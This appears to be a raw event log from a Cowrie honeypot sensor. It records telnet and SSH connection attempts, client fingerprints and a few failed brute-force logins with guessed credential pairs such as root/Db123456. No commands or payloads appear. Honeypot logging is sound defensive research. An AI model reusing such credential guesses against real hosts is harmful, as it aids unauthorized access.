{"eventid":"cowrie.session.closed","duration":30.40988540649414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:08.119578Z","src_ip":"122.102.44.174","session":"4c969c87112d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2080020904541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:08.125394Z","src_ip":"122.102.44.174","session":"46fc0cc76317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":59610,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaf7e0f3a4a9","protocol":"telnet","message":"New connection: 122.102.44.174:59610 (10.17.0.5:23) [session: eaf7e0f3a4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:08.731394Z"}
{"eventid":"cowrie.session.closed","duration":31.00100064277649,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:08.739320Z","src_ip":"122.102.44.174","session":"af3c3b0dadc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538976430892944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:09.131131Z","src_ip":"122.102.44.174","session":"a5fdb4c2248c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53450083732605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:09.150318Z","src_ip":"122.102.44.174","session":"32bb4ab4d943","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.152973890304565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:09.170044Z","src_ip":"122.102.44.174","session":"768499467cad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.496796369552612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:10.115378Z","src_ip":"122.102.44.174","session":"0fc531112bd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51966142654419,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:11.113256Z","src_ip":"122.102.44.174","session":"41524d2cb035","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538318872451782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:11.127206Z","src_ip":"122.102.44.174","session":"c15b228fee81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50034761428833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:12.115676Z","src_ip":"122.102.44.174","session":"3558c5d31f69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.521854639053345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:12.131555Z","src_ip":"122.102.44.174","session":"5bbf44bd0aaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":36200,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f3d8fa2a46","protocol":"telnet","message":"New connection: 122.102.44.174:36200 (10.17.0.5:23) [session: e1f3d8fa2a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:12.605779Z"}
{"eventid":"cowrie.session.closed","duration":30.54087209701538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:13.118261Z","src_ip":"122.102.44.174","session":"13517d55fd4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":37934,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a8f5842774","protocol":"telnet","message":"New connection: 122.102.44.174:37934 (10.17.0.5:23) [session: 96a8f5842774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:13.856850Z"}
{"eventid":"cowrie.session.closed","duration":30.52800679206848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:16.117858Z","src_ip":"122.102.44.174","session":"d00a54827076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.420026302337646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:16.227195Z","src_ip":"122.102.44.174","session":"cbb1231d97da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.480076789855957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:17.119870Z","src_ip":"122.102.44.174","session":"6912879d1647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":42474,"dst_ip":"10.17.0.5","dst_port":23,"session":"862b7944475f","protocol":"telnet","message":"New connection: 122.102.44.174:42474 (10.17.0.5:23) [session: 862b7944475f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:17.292592Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":42964,"dst_ip":"10.17.0.5","dst_port":23,"session":"26336e18a355","protocol":"telnet","message":"New connection: 122.102.44.174:42964 (10.17.0.5:23) [session: 26336e18a355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:17.660912Z"}
{"eventid":"cowrie.session.closed","duration":30.5236873626709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:18.110090Z","src_ip":"122.102.44.174","session":"d831a4d912dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04761052131653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:20.107905Z","src_ip":"122.102.44.174","session":"65a30a64de5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36385226249695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:20.152377Z","src_ip":"122.102.44.174","session":"7a648c8139b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":48626,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b38f2ce005d","protocol":"telnet","message":"New connection: 122.102.44.174:48626 (10.17.0.5:23) [session: 4b38f2ce005d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:21.072703Z"}
{"eventid":"cowrie.session.closed","duration":30.50309419631958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:21.118893Z","src_ip":"122.102.44.174","session":"7e2364f2b864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769705295562744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:21.186051Z","src_ip":"122.102.44.174","session":"88062aac9d09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":49818,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd93dced4fc","protocol":"telnet","message":"New connection: 122.102.44.174:49818 (10.17.0.5:23) [session: 4bd93dced4fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:21.779284Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.69.243.40","src_port":44094,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7e234c3368b","protocol":"telnet","message":"New connection: 36.69.243.40:44094 (159.203.135.109:23) [session: c7e234c3368b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:22.384317Z"}
{"eventid":"cowrie.session.closed","duration":30.54143762588501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:23.112884Z","src_ip":"122.102.44.174","session":"767a0bb7a4e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524659633636475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:24.120751Z","src_ip":"122.102.44.174","session":"da0c1abdb43b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44057321548462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:24.220077Z","src_ip":"122.102.44.174","session":"5133beec5854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.404452800750732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:25.113755Z","src_ip":"122.102.44.174","session":"116f31d12be7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.453639030456543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:25.145581Z","src_ip":"122.102.44.174","session":"d15bdaa9be69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":55758,"dst_ip":"10.17.0.5","dst_port":23,"session":"78f212726eab","protocol":"telnet","message":"New connection: 122.102.44.174:55758 (10.17.0.5:23) [session: 78f212726eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:25.815663Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":56812,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f772410f8cd","protocol":"telnet","message":"New connection: 122.102.44.174:56812 (10.17.0.5:23) [session: 4f772410f8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:26.580709Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":56930,"dst_ip":"10.17.0.5","dst_port":23,"session":"981b2da271ba","protocol":"telnet","message":"New connection: 122.102.44.174:56930 (10.17.0.5:23) [session: 981b2da271ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:26.652468Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":35998,"dst_ip":"10.17.0.5","dst_port":23,"session":"47de62268344","protocol":"telnet","message":"New connection: 122.102.44.174:35998 (10.17.0.5:23) [session: 47de62268344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:31.634037Z"}
{"eventid":"cowrie.session.closed","duration":30.52696132659912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:32.115809Z","src_ip":"122.102.44.174","session":"4439a6333696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.594725370407104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:33.175827Z","src_ip":"122.102.44.174","session":"77bbbb9d51a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":38830,"dst_ip":"10.17.0.5","dst_port":23,"session":"383cd4ea421b","protocol":"telnet","message":"New connection: 122.102.44.174:38830 (10.17.0.5:23) [session: 383cd4ea421b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:33.677887Z"}
{"eventid":"cowrie.session.closed","duration":31.103039979934692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:34.128607Z","src_ip":"122.102.44.174","session":"5b8f262e8285","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.129917860031128,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:36.514078Z","src_ip":"36.69.243.40","session":"c7e234c3368b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.405219554901123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:39.136490Z","src_ip":"122.102.44.174","session":"eaf7e0f3a4a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57384,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bfbc541a992","protocol":"ssh","message":"New connection: 159.203.92.129:57384 (159.203.135.109:22) [session: 2bfbc541a992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:39.418883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:39.422634Z","src_ip":"159.203.92.129","session":"2bfbc541a992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:39.429073Z","src_ip":"159.203.92.129","session":"2bfbc541a992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"VMware","password":"VMware","message":"login attempt [VMware/VMware] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:39.437801Z","src_ip":"159.203.92.129","session":"2bfbc541a992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":58342,"dst_ip":"10.17.0.5","dst_port":22,"session":"d261f8e795f0","protocol":"ssh","message":"New connection: 210.183.21.53:58342 (10.17.0.5:22) [session: d261f8e795f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:39.721502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:39.726488Z","src_ip":"210.183.21.53","session":"d261f8e795f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:39.924551Z","src_ip":"210.183.21.53","session":"d261f8e795f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:40.444405Z","src_ip":"159.203.92.129","session":"2bfbc541a992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Db123456","message":"login attempt [root/Db123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:40.745467Z","src_ip":"210.183.21.53","session":"d261f8e795f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":50884,"dst_ip":"10.17.0.5","dst_port":23,"session":"98ad5908d3a3","protocol":"telnet","message":"New connection: 122.102.44.174:50884 (10.17.0.5:23) [session: 98ad5908d3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:41.581920Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:41.945852Z","src_ip":"210.183.21.53","session":"d261f8e795f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":52524,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f9f48aa28f","protocol":"telnet","message":"New connection: 122.102.44.174:52524 (10.17.0.5:23) [session: 82f9f48aa28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:42.584949Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":2605,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fe190709c06","protocol":"ssh","message":"New connection: 201.149.53.243:2605 (10.17.0.5:22) [session: 1fe190709c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:43.008591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:43.012983Z","src_ip":"201.149.53.243","session":"1fe190709c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:43.078213Z","src_ip":"201.149.53.243","session":"1fe190709c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.504032850265503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:43.109718Z","src_ip":"122.102.44.174","session":"e1f3d8fa2a46","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"useruser","password":"useruser","message":"login attempt [useruser/useruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:43.370576Z","src_ip":"201.149.53.243","session":"1fe190709c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.238.255.197","src_port":33691,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ea2998863b1","protocol":"telnet","message":"New connection: 45.238.255.197:33691 (10.17.0.5:23) [session: 7ea2998863b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:43.836054Z"}
{"eventid":"cowrie.session.closed","duration":30.261191606521606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:44.117933Z","src_ip":"122.102.44.174","session":"96a8f5842774","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:44.438040Z","src_ip":"201.149.53.243","session":"1fe190709c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.44915771484375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:48.109974Z","src_ip":"122.102.44.174","session":"26336e18a355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82249402999878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:48.114960Z","src_ip":"122.102.44.174","session":"862b7944475f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":60358,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e75219c1d79","protocol":"ssh","message":"New connection: 221.139.88.149:60358 (159.203.135.109:22) [session: 6e75219c1d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:48.632887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:48.637339Z","src_ip":"221.139.88.149","session":"6e75219c1d79","protocol":"ssh"}
